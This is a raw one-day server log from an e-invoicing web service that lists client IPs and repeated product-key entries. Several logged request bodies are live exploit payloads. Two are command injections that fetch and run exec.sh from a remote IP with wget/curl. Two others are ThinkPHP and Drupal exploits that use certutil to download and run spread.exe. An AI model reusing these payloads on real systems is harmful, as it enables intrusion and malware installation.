2024-03-14 00:59:57.9301|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 00:59:57.9321|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 00:59:57.9432|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 00:59:57.9552|INFO|EINVOICENET.WebService.ClsLog|185.224.128.31 2024-03-14 01:46:40.2816|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 01:46:40.2846|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 01:46:40.2946|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 01:46:40.3047|INFO|EINVOICENET.WebService.ClsLog|120.15.251.116 2024-03-14 02:20:18.5795|INFO|EINVOICENET.WebService.ClsLog|146.19.24.28 2024-03-14 02:28:12.3099|INFO|EINVOICENET.WebService.ClsLog|109.205.213.198 2024-03-14 02:35:03.8693|INFO|EINVOICENET.WebService.ClsLog|190.90.22.58 2024-03-14 03:25:45.1510|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 03:25:45.1540|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 03:25:45.1641|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 03:25:45.1741|INFO|EINVOICENET.WebService.ClsLog|5.161.109.186 2024-03-14 04:24:07.4061|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 04:24:07.4091|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 04:24:07.4191|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 04:24:07.4291|INFO|EINVOICENET.WebService.ClsLog|146.19.24.28 2024-03-14 04:36:25.5417|INFO|EINVOICENET.WebService.ClsLog|103.183.121.244 2024-03-14 04:55:24.3513|INFO|EINVOICENET.WebService.ClsLog|205.210.31.217 2024-03-14 05:18:56.6030|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 05:18:56.6060|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 05:18:56.6161|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 05:18:56.6261|INFO|EINVOICENET.WebService.ClsLog|146.19.24.28 2024-03-14 05:57:51.5032|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 05:57:51.5063|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 05:57:51.5163|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 05:57:51.5263|INFO|EINVOICENET.WebService.ClsLog|192.241.216.30 2024-03-14 06:05:32.5457|INFO|EINVOICENET.WebService.ClsLog|109.205.213.198 2024-03-14 06:58:00.1915|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 06:58:00.1935|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 06:58:00.2046|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 06:58:00.2146|INFO|EINVOICENET.WebService.ClsLog|146.19.24.28 2024-03-14 07:05:24.2778|INFO|EINVOICENET.WebService.ClsLog|84.239.40.230 2024-03-14 07:05:54.5179|INFO|EINVOICENET.WebService.ClsLog|139.162.15.195 2024-03-14 07:06:05.9252|INFO|EINVOICENET.WebService.ClsLog|139.162.15.195 2024-03-14 08:20:51.5729|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 08:20:51.5749|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 08:20:51.5859|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 08:20:51.5979|INFO|EINVOICENET.WebService.ClsLog|42.240.136.92 2024-03-14 08:32:57.2195|INFO|EINVOICENET.WebService.ClsLog|192.241.213.12 2024-03-14 08:40:00.0851|INFO|EINVOICENET.WebService.ClsLog|146.19.24.28 2024-03-14 08:53:02.1347|INFO|EINVOICENET.WebService.ClsLog|194.169.175.12 2024-03-14 10:10:55.4293|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 10:10:55.4323|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 10:10:55.4423|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 10:10:55.4524|INFO|EINVOICENET.WebService.ClsLog|146.19.24.28 2024-03-14 10:13:28.2722|INFO|EINVOICENET.WebService.ClsLog|38.242.246.36 2024-03-14 10:31:38.1124|INFO|EINVOICENET.WebService.ClsLog|87.121.69.25 operation=write&country=$(id>cd /tmp; wget http://5.10.249.153:9999/exec.sh; curl -O http://5.10.249.153:9999/exec.sh; bash exec.sh) 2024-03-14 10:36:35.3066|INFO|EINVOICENET.WebService.ClsLog|35.203.210.223 2024-03-14 10:48:07.9254|INFO|EINVOICENET.WebService.ClsLog|212.76.27.39 2024-03-14 11:09:42.8002|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 11:09:42.8032|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 11:09:42.8132|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 11:09:42.8233|INFO|EINVOICENET.WebService.ClsLog|194.169.175.12 2024-03-14 11:12:30.8261|INFO|EINVOICENET.WebService.ClsLog|109.205.213.198 2024-03-14 11:13:06.0663|INFO|EINVOICENET.WebService.ClsLog|113.168.243.4 2024-03-14 11:13:39.7542|INFO|EINVOICENET.WebService.ClsLog|146.19.24.28 2024-03-14 11:44:51.4139|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 11:44:51.4169|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 11:44:51.4269|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 11:44:51.4369|INFO|EINVOICENET.WebService.ClsLog|157.230.22.8 2024-03-14 12:05:00.1747|INFO|EINVOICENET.WebService.ClsLog|201.163.121.173 2024-03-14 12:12:26.6580|INFO|EINVOICENET.WebService.ClsLog|14.230.166.37 2024-03-14 12:29:24.8360|INFO|EINVOICENET.WebService.ClsLog|65.49.1.72 2024-03-14 12:32:19.0916|INFO|EINVOICENET.WebService.ClsLog|65.49.1.71 2024-03-14 12:53:20.0351|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 12:53:20.0382|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 12:53:20.0482|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 12:53:20.0582|INFO|EINVOICENET.WebService.ClsLog|35.203.210.116 2024-03-14 12:56:51.3946|INFO|EINVOICENET.WebService.ClsLog|185.224.128.31 2024-03-14 13:06:00.6093|INFO|EINVOICENET.WebService.ClsLog|180.149.125.168 2024-03-14 13:19:24.7973|INFO|EINVOICENET.WebService.ClsLog|5.62.49.23 2024-03-14 13:42:34.6733|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 13:42:34.6763|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 13:42:34.6863|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 13:42:34.6983|INFO|EINVOICENET.WebService.ClsLog|107.189.11.105 2024-03-14 13:45:51.4479|INFO|EINVOICENET.WebService.ClsLog|34.78.249.41 2024-03-14 14:01:07.2053|INFO|EINVOICENET.WebService.ClsLog|5.62.49.23 2024-03-14 14:02:20.7262|INFO|EINVOICENET.WebService.ClsLog|146.19.24.28 2024-03-14 14:04:38.1658|INFO|EINVOICENET.WebService.ClsLog|109.205.213.198 2024-03-14 15:01:42.7166|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 15:01:42.7196|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 15:01:42.7297|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 15:01:42.7397|INFO|EINVOICENET.WebService.ClsLog|5.62.49.23 2024-03-14 15:25:26.3965|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 15:25:26.3995|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 15:25:26.4095|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 15:25:26.4195|INFO|EINVOICENET.WebService.ClsLog|146.19.24.28 2024-03-14 15:48:47.7724|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 15:48:47.7744|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 15:48:47.7855|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 15:48:47.7955|INFO|EINVOICENET.WebService.ClsLog|212.70.149.134 2024-03-14 15:52:09.1244|INFO|EINVOICENET.WebService.ClsLog|5.62.49.23 2024-03-14 15:57:24.0083|INFO|EINVOICENET.WebService.ClsLog|118.107.1.202 2024-03-14 15:57:26.4490|INFO|EINVOICENET.WebService.ClsLog|118.107.1.202 _method= __construct&filter[]=system&method=get&get[]=cmd.exe+%2Fc+certutil+-urlcache+-split+-f+http%3A%2F%2F118.107.1.202%3A19490%2Fspread.txt+C%3A%5CProgramData%5Cspread.exe+%26%26+C%3A%5CProgramData%5Cspread.exe 2024-03-14 15:57:26.4801|INFO|EINVOICENET.WebService.ClsLog|118.107.1.202 form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=system&mail[#type]=markup&mail[#markup]=cmd.exe+%2Fc+certutil+-urlcache+-split+-f+http%3A%2F%2F118.107.1.202%3A19490%2Fspread.txt+C%3A%5CProgramData%5Cspread.exe+%26%26+C%3A%5CProgramData%5Cspread.exe 2024-03-14 15:57:26.6505|INFO|EINVOICENET.WebService.ClsLog|118.107.1.202 2024-03-14 15:57:26.8250|INFO|EINVOICENET.WebService.ClsLog|118.107.1.202 2024-03-14 15:57:27.1870|INFO|EINVOICENET.WebService.ClsLog|118.107.1.202 2024-03-14 16:19:04.9327|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 16:19:04.9358|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 16:19:04.9458|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 16:19:04.9558|INFO|EINVOICENET.WebService.ClsLog|59.127.154.59 2024-03-14 16:43:56.3611|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 16:43:56.3631|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 16:43:56.3741|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 16:43:56.3831|INFO|EINVOICENET.WebService.ClsLog|103.183.121.244 2024-03-14 16:48:14.9802|INFO|EINVOICENET.WebService.ClsLog|5.62.49.35 2024-03-14 17:14:47.0671|INFO|EINVOICENET.WebService.ClsLog|87.121.69.25 operation=write&country=$(id>cd /tmp; wget http://5.10.249.153:9999/exec.sh; curl -O http://5.10.249.153:9999/exec.sh; bash exec.sh) 2024-03-14 17:54:17.3492|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 17:54:17.3522|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 17:54:17.3622|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 17:54:17.3722|INFO|EINVOICENET.WebService.ClsLog|91.92.244.152 2024-03-14 18:04:44.0010|INFO|EINVOICENET.WebService.ClsLog|91.92.246.159 2024-03-14 18:42:50.9358|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 18:42:50.9388|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 18:42:50.9488|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 18:42:50.9589|INFO|EINVOICENET.WebService.ClsLog|103.183.121.87 2024-03-14 18:49:46.0300|INFO|EINVOICENET.WebService.ClsLog|192.241.229.19 2024-03-14 19:15:59.0623|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 19:15:59.0643|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 19:15:59.0743|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 19:15:59.0874|INFO|EINVOICENET.WebService.ClsLog|5.62.49.35 2024-03-14 19:57:09.5879|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 19:57:09.5909|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 19:57:09.6019|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 19:57:09.6109|INFO|EINVOICENET.WebService.ClsLog|167.172.65.15 2024-03-14 19:57:09.8506|INFO|EINVOICENET.WebService.ClsLog|167.172.65.15 2024-03-14 19:57:10.0883|INFO|EINVOICENET.WebService.ClsLog|167.172.65.15 2024-03-14 19:59:54.7799|INFO|EINVOICENET.WebService.ClsLog|109.205.213.198 2024-03-14 20:03:53.2923|INFO|EINVOICENET.WebService.ClsLog|5.62.49.30 2024-03-14 20:23:14.1355|INFO|EINVOICENET.WebService.ClsLog|146.19.24.28 2024-03-14 21:01:02.7280|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 21:01:02.7310|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 21:01:02.7411|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 21:01:02.7511|INFO|EINVOICENET.WebService.ClsLog|27.66.253.112 2024-03-14 21:12:30.3602|INFO|EINVOICENET.WebService.ClsLog|185.180.143.6 2024-03-14 21:26:40.3424|INFO|EINVOICENET.WebService.ClsLog|194.169.175.12 2024-03-14 22:03:00.2526|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 22:03:00.2556|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 22:03:00.2667|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 22:03:00.2787|INFO|EINVOICENET.WebService.ClsLog|194.169.175.12 2024-03-14 22:36:27.2501|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 22:36:27.2531|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 22:36:27.2631|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 22:36:27.2732|INFO|EINVOICENET.WebService.ClsLog|103.211.56.35 2024-03-14 22:48:51.6300|INFO|EINVOICENET.WebService.ClsLog|198.74.56.46 2024-03-14 22:52:03.2651|INFO|EINVOICENET.WebService.ClsLog|146.19.24.28 2024-03-14 23:41:58.1698|INFO|EINVOICENET.WebService.ClsLog|start 2024-03-14 23:41:58.1728|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 23:41:58.1829|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975 2024-03-14 23:41:58.1929|INFO|EINVOICENET.WebService.ClsLog|95.111.238.124